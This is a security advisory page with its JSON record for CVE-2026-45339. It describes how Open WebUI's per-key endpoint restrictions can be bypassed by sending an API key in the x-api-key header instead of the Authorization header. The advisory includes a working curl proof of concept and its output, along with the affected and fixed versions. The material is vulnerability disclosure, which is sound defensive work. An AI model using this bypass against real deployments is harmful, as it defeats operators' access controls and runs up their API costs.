GHSA-57Q6-FVP4-PQMM

Vulnerability from github – Published: 2026-05-14 20:21 – Updated: 2026-05-15 23:53
VLAI
Summary
Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints
Details

Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

Details

Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.

PoC

Verified against Open WebUI v0.8.11.

Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.

API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "Authorization: Bearer $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "x-api-key: $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'

Verified output:

# Authorization header:
{"detail":"API key not allowed to access this endpoint."}

# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}

The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).

Impact

Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:

  • Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
  • Keys restricted from admin endpoints may access admin functionality
  • The operator's intended access control is silently ineffective
  • API credit spend cannot be controlled through endpoint restrictions
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:21:26Z",
    "nvd_published_at": "2026-05-15T20:16:48Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nOpen WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from `/api/v1/messages`, requests using the `Authorization: Bearer sk-...` header are correctly blocked with 403. However, the same key sent via the `x-api-key` header bypasses the restriction entirely \u2014 the request is authenticated, the model is invoked, and a full response is returned.\n\n### Details\n\nOpen WebUI\u0027s Anthropic-compatible API path accepts authentication via `x-api-key` header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the `Authorization` header. When the same `sk-...` key is supplied in `x-api-key`, the restriction check is skipped but the key is still valid for authentication.\n\nThis means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using `x-api-key` instead of `Authorization`.\n\n### PoC\n\n**Verified against Open WebUI v0.8.11.**\n\n**Setup:** Admin creates a user with an API key that has endpoint restrictions (not allowed on `/api/v1/messages`). A mock OpenAI-compatible model (`mock-model`) is configured.\n\n```bash\nAPI_KEY=\"sk-dc56016d720e49ba9e95584d602b79bb\"\n\n# Test 1: Authorization header \u2014 BLOCKED (endpoint restriction enforced)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"Authorization: Bearer $API_KEY\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via Authorization header\"}]}\u0027\n\n# Test 2: x-api-key header \u2014 BYPASS (same key, restriction skipped)\ncurl -s -X POST http://target:8080/api/v1/messages \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"mock-model\",\"messages\":[{\"role\":\"user\",\"content\":\"via x-api-key header\"}]}\u0027\n```\n\n**Verified output:**\n\n```\n# Authorization header:\n{\"detail\":\"API key not allowed to access this endpoint.\"}\n\n# x-api-key header (SAME key):\n{\"id\":\"chatcmpl-mock\",\"type\":\"message\",\"role\":\"assistant\",\"content\":[{\"type\":\"text\",\"text\":\"MOCK-CHAT-RESPONSE\"}],\"model\":\"mock-model\",\"usage\":{\"input_tokens\":1,\"output_tokens\":1}}\n```\n\nThe same API key is rejected via `Authorization` (403) but fully processed via `x-api-key` (200 with model response).\n\n### Impact\n\nAny API key with endpoint restrictions can bypass those restrictions by using the `x-api-key` header instead of `Authorization`. This undermines the entire API key permission model:\n\n- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses\n- Keys restricted from admin endpoints may access admin functionality\n- The operator\u0027s intended access control is silently ineffective\n- API credit spend cannot be controlled through endpoint restrictions",
  "id": "GHSA-57q6-fvp4-pqmm",
  "modified": "2026-05-15T23:53:55Z",
  "published": "2026-05-14T20:21:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-57q6-fvp4-pqmm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45339"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI\u0027s API key endpoint restrictions bypassed via `x-api-key` header \u2014 full message processing on restricted endpoints"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…